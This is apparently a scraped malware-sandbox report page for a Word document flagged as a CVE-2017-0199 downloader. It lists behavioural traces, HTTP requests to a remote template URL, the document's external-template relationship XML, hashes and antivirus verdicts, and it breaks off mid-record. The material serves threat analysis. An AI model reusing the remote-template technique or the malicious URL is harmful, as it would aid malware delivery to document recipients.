Errore dettagliato IIS 10.0 - 404.0

24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T487,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious CVE-2017-0199 Sample 7933716892e0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7933716892e0…. Malware family: CVE-2017-0199. Threat score 100/100. 16/28 AV engines flagged this file. 8 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971","keywords":["Malicious","CVE-2017-0199","malware analysis","sandbox report","threat intelligence","7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971"],"about":{"@type":"SoftwareApplication","name":"boeing_spectrolab.docx-","applicationCategory":["docx","office"],"identifier":"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"CVE-2017-0199","antivirusDetections":{"malicious":16,"total":28},"behavioralIndicators":{"malicious":8,"suspicious":5},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T663,"\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACBPIDS_S-1-5-5-0-63623" "\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACB10_S-1-5-5-0-63623" "\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-AA5D9347" "\Sessions\1\BaseNamedObjects\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-36C8AB68" "\Sessions\1\BaseNamedObjects\Local\CSI_OMTX:{B5F611DB-089A-4732-A533-ADB804E9E887}" "\Sessions\1\BaseNamedObjects\Local\CSI_WDW:{2A9C1161-32CB-45F6-B19A-FD4F83162D36}" "\Sessions\1\BaseNamedObjects\Local\CSI_WDW:{E7E03C3A-AAC8-41EB-9AAB-0376BBA05B66}" "\Sessions\1\BaseNamedObjects\Local\CSI_WDW:{B5F611DB-089A-4732-A533-ADB804E9E887}" "\Sessions\1\BaseNamedObjects\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-93B63EFF" "\Sessions\1\BaseNamedObjects\Global\MsoCsi:GC:C:/Users/iooXNW8/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/FSF-CTBL.FSF" "\Sessions\1\BaseNamedObjects\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-772E0621" "\Sessions\1\BaseNamedObjects\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-243F2D99" "\Sessions\1\BaseNamedObjects\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-54415818" "\Sessions\1\BaseNamedObjects\Local\CSI_OMTX:{600990FB-AFED-4F63-B4E3-827376D08C89}" "\Sessions\1\BaseNamedObjects\Local\CSI_WDW:{73B541E6-6E78-48CB-8E56-B4C1D3897D7A}" "\Sessions\1\BaseNamedObjects\Local\CSI_WDW:{FABD892F-B1B1-4AB8-A958-AA6D2FA19539}" "\Sessions\1\BaseNamedObjects\Local\CSI_WDW:{600990FB-AFED-4F63-B4E3-827376D08C89}"26:T66e,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "WINWORD.EXE" touched file "C:\Users\iooXNW8\AppData\Local\Microsoft\Windows\Temporary Internet Files" "WINWORD.EXE" touched file "C:\Users\iooXNW8\AppData\Roaming\Microsoft\Windows\Cookies" "WINWORD.EXE" touched file "C:\Users\iooXNW8\AppData\Local\Microsoft\Windows\History" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Users\iooXNW8\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000019.db" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6B41B612-EA89-417F-B055-28C7A5E0316C}.tmp"27:T87f,"WINWORD.EXE" wrote bytes "48b8601328f7fe070000ffe0" to virtual address "0xFCAC1340" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "4013acfcfe070000" to virtual address "0xFCADFE10" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "4013acfcfe070000" to virtual address "0xFCADFB48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "301228f7fe070000" to virtual address "0xF98D2050" (part of module "WEBIO.DLL") "WINWORD.EXE" wrote bytes "e933f078ff" to virtual address "0xFDA11180" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "0010acfcfe070000" to virtual address "0xFCADFE50" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "637d1a085836d601" to virtual address "0xF52EFA00" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "0010acfcfe070000" to virtual address "0xFCADFE18" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e913b0e9ff" to virtual address "0xFD3050C0" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "0a4aef085836d601" to virtual address "0xE8B9D610" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "0010acfcfe070000" to virtual address "0xFCADFB18" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "16621a085836d601" to virtual address "0xE9E42350" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFDE61748" (part of module "WS2_32.DLL") "WINWORD.EXE" wrote bytes "9363cd085836d601" to virtual address "0xF5070160" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "4013acfcfe070000" to virtual address "0xFCADFB10" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0010acfcfe070000" to virtual address "0xFCADFB50" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "4013acfcfe070000" to virtual address "0xFCADFE48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e9abc078ffcc" to virtual address "0xFDA14060" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "48b8bc5278e7fe070000ffe0" to virtual address "0x76EF9020" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "80bb1b085836d601" to virtual address "0xEBE471C0" (part of module "WWLIB.DLL")28:T548,Observed class from System.Security.Cryptography:"Oid" which can represents a cryptographic object identifier[Source: ~WRD0001.tmp] Observed class from System.Security.Cryptography:"HashAlgorithm" which can represents the base class from which all implementations of cryptographic hash algorithms must derive[Source: 00000000-00003892.00000000.75346.90783000.00000002.mdmp 00000000-00003892.00000001.77263.90783000.00000002.mdmp 00000000-00003892.00000002.79185.90783000.00000002.mdmp] Observed class from System.Security.Cryptography:"RandomNumberGenerator" which can provides functionality for generating random values[Source: 00000000-00003892.00000000.75346.B9E1B000.00000002.mdmp] Observed class from System.Security.Cryptography:"Aes" which can represents the abstract base class from which all implementations of the advanced encryption standard (aes) must inherit[Source: 00000000-00003892.00000001.77263.0B6D0000.00000004.mdmp 00000000-00003892.00000001.77263.0E030000.00000004.mdmp 00000000-00003892.00000002.79185.0B6D0000.00000004.mdmp 00000000-00003892.00000002.79185.0E030000.00000004.mdmp] Observed class from System.Security.Cryptography:"SHA384" which can computes the sha384 hash for the input data[Source: 00000000-00003892.00000001.77263.0D360000.00000004.mdmp 00000000-00003892.00000002.79185.0D360000.00000004.mdmp]29:T510,"WINWORD.EXE" loaded module "MSO.DLL" at base 8f110000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base a71e0000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base b9d10000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 56d0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base 5350000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base b49e0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 5af0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base 5d60000 "WINWORD.EXE" loaded module "IMM32.DLL" at base b9ee0000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base b4c50000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base b9130000 "WINWORD.EXE" loaded module "SRPAPI.DLL" at base 992b0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base b9d10000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base a60d0000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base b49e0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base a51600002a:T17cc,"GET /uploads/form/boeing_spectrolab_logo.jpg HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: www.anca-aste.itConnection: Keep-Alive" "HEAD /uploads/form/boeing_spectrolab_logo.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft Office Existence DiscoveryHost: www.anca-aste.it" "HTTP/1.1 200 OKAllow: OPTIONS, TRACE, GET, HEAD, POSTServer: Microsoft-IIS/10.0Public: OPTIONS, TRACE, GET, HEAD, POSTX-Powered-By: ASP.NETDate: Mon, 06 Mar 2023 19:16:08 GMTContent-Length: 0" "HTTP/1.1 404 Not FoundCache-Control: privateContent-Length: 4980Content-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 06 Mar 2023 19:16:10 GMT" "HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 06 Mar 2023 19:16:15 GMTContent-Length: 4980 Errore dettagliato IIS 10.0 - 404.0 - Not Found

Errore HTTP 404.0 - Not Found

La risorsa desiderata è stata rimossa, rinominata o è temporaneamente non disponibile.

Cause più probabili:

La directory o il file specificato non esiste nel server Web.
L'URL contiene un errore di battitura.
Un modulo o un filtro personalizzato, ad esempio URLScan, limita l'accesso al file.

Possibili operazioni:

Creare il contenuto nel server Web.
Verificare l'URL del browser.
Creare una regola per tenere traccia delle richieste non riuscite per questo codice di stato HTTP e controllare quale modulo chiama SetStatus. Per ulteriori informazioni sulla creazione di una regola di traccia per richieste non riuscite, fare clic qui.

Informazioni dettagliate sull'errore:

Modulo	IIS Web Core
Notifica	MapRequestHandler
Gestore	StaticFile
Codice errore	0x80070002

URL richiesto	https://www.anca-aste.it:443/uploads/form/boeing_spectrolab_logo.jpg
Percorso fisico	C:\web\cms\uploads\form\boeing_spectrolab_logo.jpg
Metodo di accesso	Anonima
Utente di accesso	Anonima

Altre informazioni:

Questo errore indica che il file o la directory non esiste nel server. Creare il file o la directory e ripetere la richiesta.

Visualizza altre informazioni »

" "OPTIONS /uploads/form/ HTTP/1.1User-Agent: Microsoft Office Protocol DiscoveryHost: www.anca-aste.itContent-Length: 0Connection: Keep-Alive"2b:T22c2,"HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 06 Mar 2023 19:16:15 GMTContent-Length: 4980 Errore dettagliato IIS 10.0 - 404.0 - Not Found

Errore HTTP 404.0 - Not Found

La risorsa desiderata è stata rimossa, rinominata o è temporaneamente non disponibile.

Cause più probabili:

La directory o il file specificato non esiste nel server Web.
L'URL contiene un errore di battitura.
Un modulo o un filtro personalizzato, ad esempio URLScan, limita l'accesso al file.

Possibili operazioni:

Creare il contenuto nel server Web.
Verificare l'URL del browser.
Creare una regola per tenere traccia delle richieste non riuscite per questo codice di stato HTTP e controllare quale modulo chiama SetStatus. Per ulteriori informazioni sulla creazione di una regola di traccia per richieste non riuscite, fare clic qui.

Informazioni dettagliate sull'errore:

Modulo	IIS Web Core
Notifica	MapRequestHandler
Gestore	StaticFile
Codice errore	0x80070002

URL richiesto	https://www.anca-aste.it:443/uploads/form/boeing_spectrolab_logo.jpg
Percorso fisico	C:\web\cms\uploads\form\boeing_spectrolab_logo.jpg
Metodo di accesso	Anonima
Utente di accesso	Anonima

Altre informazioni:

Questo errore indica che il file o la directory non esiste nel server. Creare il file o la directory e ripetere la richiesta.

Visualizza altre informazioni »

" (Indicator: "https://") "https://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg" (Indicator: "https://") ")e0dhttps://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg" (Indicator: "https://") "^(\s*(mailto:|http://|file://|file:\\\\|ftp://|https://|msn:|news:|nntp:|pnm://|mms://|outlook:).*)$" (Indicator: "https://") "version1.0encodingUTF-8standaloneyesRelationshipsRelationshipsdrId1Typehttp://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplateTargethttps://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpgTargetModeExternalmlns:rhttp://schemas.openxmlformats.org/officeDocument/2006/relationshipsxmlns:mhttp://schemas.openxmlformats.org/officeDocument/2006/mathxmlns:vurn:schemas-microsoft-com:vmlxmlns:wp14http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingxmlns:wphttp://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingxmlns:w10urn:schemas-microsoft-com:office:wordxmlns:whttp://schemas.openxmlformats.org/wordprocessingml/2006/mainxmlns:w14http://schemas.microsoft.com/office/word/2010/wordmlxmlns:wpghttp://schemas.microsoft.com/office/word/2010/wordprocessingGroupxmlns:wpihttp://schemas.microsoft.com/office/word/2010/wordprocessingInkxmlns:wnehttp://schemas.microsoft.com/office/word/2006/wordmlxmlns:wpshttp://schemas.microsoft.com/office/word/2010/wordprocessingShapemc:Ignorablew14 wp14" (Indicator: "https://") "/customXml" Target="../customXml/item3.xml"/>lication/vnd.openxmlformats-officedocument.theme+xml"/>URL richiesto https://www.anca-aste.it:443/uploads/form/boeing_spectrolab_logo.jpg" (Indicator: "https://"), "\s*(mailto:|http://|file://|file:\\\\|ftp://|https://|msn:|news:|nntp:|pnm://|mms://|outlook:).*" (Indicator: "https://"), "https://" (Indicator: "https://")2c:T581,Observed API string:"GetModuleFileName" [Source: 00000000-00003892.00000000.75346.77331000.00000020.mdmp 00000000-00003892.00000000.75346.A52C1000.00000002.mdmp 00000000-00003892.00000000.75346.A84C0000.00000002.mdmp 00000000-00003892.00000000.75346.B9E1B000.00000002.mdmp 00000000-00003892.00000000.75346.CC8D3000.00000002.mdmp 00000000-00003892.00000001.77263.77331000.00000020.mdmp 00000000-00003892.00000001.77263.A4F82000.00000002.mdmp 00000000-00003892.00000001.77263.A52C1000.00000002.mdmp 00000000-00003892.00000001.77263.A84C0000.00000002.mdmp 00000000-00003892.00000001.77263.AF4BE000.00000002.mdmp 00000000-00003892.00000001.77263.CC8D3000.00000002.mdmp 00000000-00003892.00000002.79185.77331000.00000020.mdmp 00000000-00003892.00000002.79185.A4F82000.00000002.mdmp 00000000-00003892.00000002.79185.A52C1000.00000002.mdmp 00000000-00003892.00000002.79185.A84C0000.00000002.mdmp 00000000-00003892.00000002.79185.AF4BE000.00000002.mdmp 00000000-00003892.00000002.79185.CC8D3000.00000002.mdmp] Observed API string:"GetModuleFileName" [Source: 00000000-00003892.00000000.75346.A52C1000.00000002.mdmp 00000000-00003892.00000000.75346.B9E1B000.00000002.mdmp 00000000-00003892.00000001.77263.A4F82000.00000002.mdmp 00000000-00003892.00000001.77263.A52C1000.00000002.mdmp 00000000-00003892.00000002.79185.A4F82000.00000002.mdmp 00000000-00003892.00000002.79185.A52C1000.00000002.mdmp]2d:Ta60,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1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790787636273,"unified_at":"2026-09-30T17:00:36.273Z","metadata":{"hashes":{"sha256":"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971","sha1":"c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e","md5":"56470e113479eacda081c2eeead153bf","sha512":"0111578f53189915a7f39f755087a283b60196283393d7979bc7a65f462c8af646579a57b0d4693bffdca0ceb92e2bad26720c4418b1cbb21ee2b216e7f763a5","ssdeep":"12288:GaF6pLikGz2wx0zqb/RXkIUsYqpd4zRgE/CcfLqpd4zRgE/CcftKv:GaspLiewxgi/lkIUs5pdSgEj+pdSgEjG","ssdeep_chunks":["12288:GaF6pLi","12288:aF6pLik","12288:F6pLikG","12288:6pLikGz","12288:pLikGz2","12288:LikGz2w","12288:ikGz2wx","12288:kGz2wx0","12288:Gz2wx0z","12288:z2wx0zq","12288:2wx0zqb","12288:wx0zqb/","12288:x0zqb/R","12288:0zqb/RX","12288:zqb/RXk","12288:qb/RXkI","12288:b/RXkIU","12288:/RXkIUs","12288:RXkIUsY","12288:XkIUsYq","12288:kIUsYqp","12288:IUsYqpd","12288:UsYqpd4","12288:sYqpd4z","12288:Yqpd4zR","12288:qpd4zRg","12288:pd4zRgE","12288:d4zRgE/","12288:4zRgE/C","12288:zRgE/Cc","12288:RgE/Ccf","12288:gE/CcfL","12288:E/CcfLq","12288:/CcfLqp","12288:CcfLqpd","12288:cfLqpd4","12288:fLqpd4z","12288:Lqpd4zR","12288:gE/Ccft","12288:E/CcftK","12288:/CcftKv","24576:GaF6pLi","24576:aF6pLik","24576:F6pLikG","24576:6pLikGz","24576:pLikGz2","24576:LikGz2w","24576:ikGz2wx","24576:kGz2wx0","24576:Gz2wx0z","24576:z2wx0zq","24576:2wx0zqb","24576:wx0zqb/","24576:x0zqb/R","24576:0zqb/RX","24576:zqb/RXk","24576:qb/RXkI","24576:b/RXkIU","24576:/RXkIUs","24576:RXkIUsY","24576:XkIUsYq","24576:kIUsYqp","24576:IUsYqpd","24576:UsYqpd4","24576:sYqpd4z","24576:Yqpd4zR","24576:qpd4zRg","24576:pd4zRgE","24576:d4zRgE/","24576:4zRgE/C","24576:zRgE/Cc","24576:RgE/Ccf","24576:gE/CcfL","24576:E/CcfLq","24576:/CcfLqp","24576:CcfLqpd","24576:cfLqpd4","24576:fLqpd4z","24576:Lqpd4zR","24576:gE/Ccft","24576:E/CcftK","24576:/CcftKv","12288:GaspLie","12288:aspLiew","12288:spLiewx","12288:pLiewxg","12288:Liewxgi","12288:iewxgi/","12288:ewxgi/l","12288:wxgi/lk","12288:xgi/lkI","12288:gi/lkIU","12288:i/lkIUs","12288:/lkIUs5","12288:lkIUs5p","12288:kIUs5pd","12288:IUs5pdS","12288:Us5pdSg","12288:s5pdSgE","12288:5pdSgEj","12288:pdSgEj+","12288:dSgEj+p","12288:SgEj+pd","12288:gEj+pdS","12288:Ej+pdSg","12288:j+pdSgE","12288:+pdSgEj","12288:pdSgEjG"],"imphash":"Unknown"},"file_info":{"file_name":"boeing_spectrolab.docx-","file_type":["docx","office"],"file_type_id":"docx","file_size":521660,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1590832621000,"last_seen":1678129861000,"last_multi_scan":1678129861000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["tag","iframe","redirector","maldoc","labyrinthchollima","targeted","undergroundrat","pterodo","scpt:offrelattachedtemplatehttp"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":23},"sandbox_signatures":{"informative_count":42,"suspicious_count":5,"malicious_count":8,"total":55},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Downloader/Doc.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.33913186","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Malware.Agent-8366038-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"CVE170199","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.33913186 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"DOC/TrojanDownloader.Pterodo.A 